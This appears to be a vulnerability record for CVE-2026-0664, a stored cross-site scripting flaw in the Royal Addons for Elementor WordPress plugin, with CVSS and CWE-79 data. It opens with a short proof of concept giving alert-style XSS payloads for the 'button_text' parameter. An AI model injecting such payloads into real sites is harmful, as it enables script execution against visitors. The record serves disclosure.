CVE-2026-0664

<!-- PoC for Stored XSS in Royal Addons for Elementor --> <!-- Payload to be injected into 'button_text' parameter --> <script> console.log('XSS Triggered'); alert(1); </script> <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-0664", "sourceIdentifier": "[email protected]", "published": "2026-04-04T08:16:05.890", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'button_text' parameter in all versions up to, and including, 1.7.1049 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1050/modules/form-builder/widgets/wpr-form-builder.php?marks=3754,3984-3985#L3754", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d4225a6-4aae-49a5-93e1-8dcc9a77e089?source=cve", "source": "[email protected]"}]}}